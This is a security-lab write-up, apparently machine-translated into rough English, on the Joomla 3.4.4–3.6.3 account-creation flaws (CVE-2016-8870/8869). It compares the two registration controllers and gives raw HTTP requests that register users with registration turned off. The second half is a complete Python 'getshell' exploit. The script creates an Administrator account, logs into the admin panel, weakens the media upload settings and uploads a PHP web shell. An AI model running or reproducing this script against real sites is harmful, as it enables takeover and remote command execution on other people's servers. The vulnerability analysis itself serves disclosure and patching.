Author: p0wd3r (know Chong Yu 404 security lab)
Date: 2016-10-26
Joomla is a free open source content management system, recently researchers found in its 3. 4. 4 to 3. 6. 3 version there are two vulnerabilities: CVE-2016-8869, the CVE-2016-8870。 We here only analyze the CVE-2016-8870, using this vulnerability, an attacker can close the register to register the user. Joomla official has for this vulnerability is released to upgrade the Bulletin to.
The site closed registration in the case can still create the user
3.4.4 to 3.6.3
bash wget https://github.com/joomla/joomla-cms/releases/download/3.6.3/Joomla_3.6.3-Stable-Full_Package.tar.gz
After decompression into the server directory, for example/var/www/html
Create a database:
bash docker run --name joomla-mysql-e MYSQL_ROOT_PASSWORD=hellojoomla-e MYSQL_DATABASE=jm-d mysql
Access server path for installation.
In the presence of vulnerabilities the version we can see an interesting phenomenon, namely the existence of two for the user registration method:
components/com_users/controllers/registration.php
in UsersControllerRegistration::register()
components/com_users/controllers/user.php
in UsersControllerUser::register()
We look at the code:
UsersControllerRegistration::register()
:
``php public function register() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_(‘JINVALID_TOKEN’));
// If registration is disabled - Redirect to login page.
if (JComponentHelper::getParams('com_users')->get('allowUserRegistration') == 0)
{
$this->setRedirect(JRoute::_('index. php? option=com_users&view=login', false));
return false;
}
$app = JFactory::getApplication();
$model = $this->getModel('Registration', 'UsersModel');
// Get the user data.
$requestData = $this->input->post->get('jform', array(), 'array');
// Validate the posted data.
$form = $model->getForm();
...
}
``
UsersControllerUser::register()
:
``php public function register() { JSession::checkToken(‘post’) or jexit(JText::_(‘JINVALID_TOKEN’));
// Get the application
$app = JFactory::getApplication();
// Get the form data.
$data = $this->input->post->get('user', array(), 'array');
// Get the model and validate the data.
$model = $this->getModel('Registration', 'UsersModel');
$form = $model->getForm();
...
}
``
Can be seen with respect to the UsersControllerRegistration::register()
, the UsersControllerUser::register()
implementation and not the few lines of code:
``php // If registration is disabled - Redirect to login page. if (JComponentHelper::getParams(‘com_users’)->get(‘allowUserRegistration’) == 0) { $this->setRedirect(JRoute::_(‘index. php? option=com_users&view=login’, false));
return false;
} ``
This few lines of code is to check whether to allow the registration, that is to say if we can use UsersControllerUser::register()
this method to register you can bypass this detection.
Pass the test shows that the normal register used is UsersControllerRegistration::register()
, the request packet is as follows:
`` POST /index. php/component/users/? task=registration. register HTTP/1.1 … Content-Type: multipart/form-data; boundary=---- WebKitFormBoundaryefGhagtDbsLTW5qi … Cookie: yourcookie
------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“jform[name]”
tomcat ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“jform[username]”
tomcat ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“jform[password1]”
tomcat ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“jform[password2]”
tomcat ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“jform[email1]”
[email protected] ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“jform[email2]”
[email protected] ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“option”
com_users ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“task”
registration. register ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“yourtoken”
1 ------WebKitFormBoundaryefGhagtDbsLTW5qi–
``
Although the normal registration and does not use UsersControllerUser::register()
, but does not mean that we cannot use. Reading the code shows that as long as the request packet is modified as follows to use the presence of a vulnerability function for registration:
registration. register
-> user. register
jform[*]
-> user[*]
So the complete reproduction process is as follows:
1. First, in the background close the registration function, after the closure of the home page with no registration options:
2. Then by accessing index.php
capture get the cookie, by looking at the index.php
source code access token:
3. Construct a registration request:
`` POST /index. php/component/users/? task=registration. register HTTP/1.1 … Content-Type: multipart/form-data; boundary=---- WebKitFormBoundaryefGhagtDbsLTW5qi … Cookie: yourcookie
------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“user[name]”
attacker ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“user[username]”
attacker ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“user[password1]”
attacker ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“user[password2]”
attacker ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“user[email1]”
[email protected] ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“user[email2]”
[email protected] ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“option”
com_users ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“task”
user. register ------WebKitFormBoundaryefGhagtDbsLTW5qi Content-Disposition: form-data; name=“yourtoken”
1 ------WebKitFormBoundaryefGhagtDbsLTW5qi-- ``
4. Contract, the successful registration:
Official deleted UsersControllerUser::register()
method.
Upgrade to 3. 6. 4
<https://developer.joomla.org/security-centre/659-20161001-core-account-creation.html>
<http://www.fox.ra.it/technical-articles/how-i-found-a-joomla-vulnerability.html>
# Getshell exp,使用方法参考 https://github.com/XiphosResearch/exploits/tree/master/Joomraa
#!/usr/bin/python
from __future__ import print_function
import requests
import sys
import re
import argparse
import base64
import os
import random
import time
try:
# Python 2.6-2.7
from HTMLParser import HTMLParser
except ImportError:
# Python 3
from html.parser import HTMLParser
"""
How to exploit:
1) Run script, get user access
2) [optional] - Activate your account
3) Go to Content > Media
4) Click 'Options'
5.1) Add php3, php4, php5, pht to 'Legal Extensions' & Legal Image Extensions
5.2) Disable 'Restrict Uploads' & 'Check MIME Types'
6) Upload '.pht' file with:
<?= system($_GET['x']);
7) Pwned
"""
def randomname(extn='.pht'):
return base64.b32encode(os.urandom(20))[:random.randint(5, 10)] + extn
def extract_token(resp):
match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
if match is None:
print("[!] Cannot find CSRF token")
return None
return match.group(1)
def try_admin_login(options, sess):
admin_url = options.url + '/administrator/index.php'
print('[-] Getting token for admin login')
resp = sess.get(admin_url)
token = extract_token(resp)
if not token:
return False
print('[-] Logging in to admin')
data = {
'username': options.username,
'passwd': options.password,
'task': 'login',
token: '1'
}
resp = sess.post(admin_url, data=data)
if 'task=profile.edit' not in resp.text:
print('[!] Admin Login Failure!')
return
print('[+] Admin Login Success!')
return True
def get_media_options(options, sess):
print("[+] Getting media options")
media_options_url = options.url + '/administrator/index.php?option=com_config&view=component&component=com_media&path='
resp = sess.get(media_options_url)
results = re.findall(r'name="([^"]+)"\s+[^>]*?value="([^"]+)"', resp.text, re.S)
if not results:
print("[!] Fail")
return
return dict(results)
def set_media_options(options, sess, data):
"""
Allow us to upload a .pht file
"""
print("[+] Setting media options")
newdata = {
'jform[upload_extensions]': 'bmp,csv,doc,gif,ico,jpg,jpeg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV,DOC,GIF,ICO,JPG,JPEG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS',
'jform[upload_maxsize]':10,
'jform[file_path]':'images',
'jform[image_path]':'images',
'jform[restrict_uploads]':1,
'jform[check_mime]':0,
'jform[image_extensions]':'bmp,gif,jpg,png',
'jform[ignore_extensions]': '',
'jform[upload_mime]': 'image/jpeg,image/gif,image/png,image/bmp,application/x-shockwave-flash,application/msword,application/excel,application/pdf,application/powerpoint,text/plain,application/x-zip',
'jform[upload_mime_illegal]':'text/html',
'id':13
}
newdata.update(data)
newdata['component'] = 'com_media'
newdata['task'] = 'config.save.component.apply'
config_url = options.url + '/administrator/index.php?option=com_config'
resp = sess.post(config_url, data=newdata)
if 'jform[upload_extensions]' not in resp.text:
print('[!] Maybe failed to set media options...')
return False
return True
def add_item(data, field, item):
return ",".join(set(data.get(field, '').split(',') + [item]))
def stage_two(options, sess):
"""Now we are logged in to admin area,
use this to gain shell execution using .pht upload.
Ooh, scary super 0-day lol ^_^ *rolleyes*
"""
media_options = get_media_options(options, sess)
if not media_options:
return False
old_options = media_options.copy()
media_options.update({
'jform[check_mime]': 0,
'jform[restrict_uploads]': 0,
'jform[upload_extensions]': add_item(media_options, 'jform[upload_extensions]', 'pht'),
'jform[image_extensions]': add_item(media_options, 'jform[image_extensions]', 'pht'),
'jform[upload_mime]': add_item(media_options, 'jform[upload_mime]', 'application/octet-stream'),
})
if not set_media_options(options, sess, media_options):
return False
image_path = media_options.get('jform[image_path]', 'images')
return upload_file(options, sess, image_path)
def upload_file(options, sess, image_path):
print("[*] Uploading exploit.pht")
url = options.url + "/administrator/index.php?option=com_media&folder="
resp = sess.get(url)
match = re.search(r'form action="([^"]+)" id="uploadForm"', resp.text, re.S)
if not match:
print("[!] Cannot find file upload form!")
return False
upload_url = HTMLParser().unescape(match.group(1))
filename = randomname()
exploit_url = "%s/%s/%s" % (options.url, image_path, filename)
print("[*] Uploading exploit to:", exploit_url)
files = {
'Filedata[]': (filename, options.exploit, 'application/octet-stream')
}
data = dict(folder="")
resp = sess.post(upload_url, files=files, data=data)
if filename not in resp.content:
print("[!] Failed to upload file!")
return False
print("[*] Calling exploit")
resp = sess.get(exploit_url)
if options.search not in resp.content:
print("[!] Search string not in exploit")
print(resp)
return False
print("[$] Exploit Successful!")
return True
def create_user(options, sess, token):
"""
Create an Administrtaor user using the CVE
"""
data = {
# User object
'user[name]': options.username,
'user[username]': options.username,
'user[password1]': options.password,
'user[password2]': options.password,
'user[email1]': options.email,
'user[email2]': options.email,
'user[groups][]': '7', # Yay, Administrator!
# Sometimes these will be overridden
'user[activation]': '0',
'user[block]': '0',
# Form data
'form[name]': options.username,
'form[username]': options.username,
'form[password1]': options.password,
'form[password2]': options.password,
'form[email1]': options.email,
'form[email2]': options.email,
'form[option]': 'com_users',
'form[task]': 'user.register',
token: '1',
}
return sess.post(options.url + "/index.php/component/users/?task=user.register", data=data, allow_redirects=False)
def parse_options():
try:
exploit_file = open('filthyc0w.pht', 'r')
except Excption:
exploit_file = None
parser = argparse.ArgumentParser(description='Jooma Exploit')
parser.add_argument('url', help='Base URL for Joomla site')
parser.add_argument('-u', '--username', default='hacker')
parser.add_argument('-p', '--password', default='password')
parser.add_argument('-e', '--email', default='[email protected]')
parser.add_argument('-s', '--search', default='098f6bcd4621d373cade4e832627b4f6')
parser.add_argument('-x', '--exploit', default=exploit_file, type=argparse.FileType('r'))
return parser.parse_args()
def pwn_joomla(options):
sess = requests.Session()
print("[-] Getting token")
resp = sess.get(options.url + "/index.php/component/users/?view=login")
token = extract_token(resp)
if not token:
return False
print("[-] Creating user account")
resp = create_user(options, sess, token)
can_login = try_admin_login(options, sess)
if not can_login:
# TODO: periodically check if we can login as admin
print("[-] Check email for activation code")
try:
resp = raw_input('[?] Press any key after activation')
except KeyboardInterrupt:
return False
can_login = try_admin_login(options, sess)
if not can_login:
return False
return stage_two(options, sess)
def print_logo():
clear = "\x1b[0m"
colors = [31, 32, 33, 34, 35, 36]
logo = """
@@@ @@@@@@ @@@@@@ @@@@@@@@@@ @@@@@@@ @@@@@@ @@@@@@ @@@
@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@@@@ @@@@@@@@ @@@@@@@@ @@@@@@@@ @@@
@@! @@! @@@ @@! @@@ @@! @@! @@! @@! @@@ @@! @@@ @@! @@@ @@!
!@! !@! @!@ !@! @!@ !@! !@! !@! !@! @!@ !@! @!@ !@! @!@ !@
!!@ @!@ !@! @!@ !@! @!! !!@ @!@ @!@!!@! @!@!@!@! @!@!@!@! @!@
!!! !@! !!! !@! !!! !@! ! !@! !!@!@! !!!@!!!! !!!@!!!! !!!
!!: !!: !!! !!: !!! !!: !!: !!: :!! !!: !!! !!: !!!
!!: :!: :!: !:! :!: !:! :!: :!: :!: !:! :!: !:! :!: !:! :!:
::: : :: ::::: :: ::::: :: ::: :: :: ::: :: ::: :: ::: ::
: ::: : : : : : : : : : : : : : : : : : :::
"""
for line in logo.split("\n"):
sys.stdout.write("\x1b[1;%dm%s%s\n" % (random.choice(colors), line, clear))
time.sleep(0.05)
def main(base_url):
options = parse_options()
print_logo()
if pwn_joomla(options):
print("[$] SUCCESS:", options.url)
else:
print("[*] FAILURE")
if __name__ == "__main__":
sys.exit(main("http://192.168.10.100:8080/joomla"))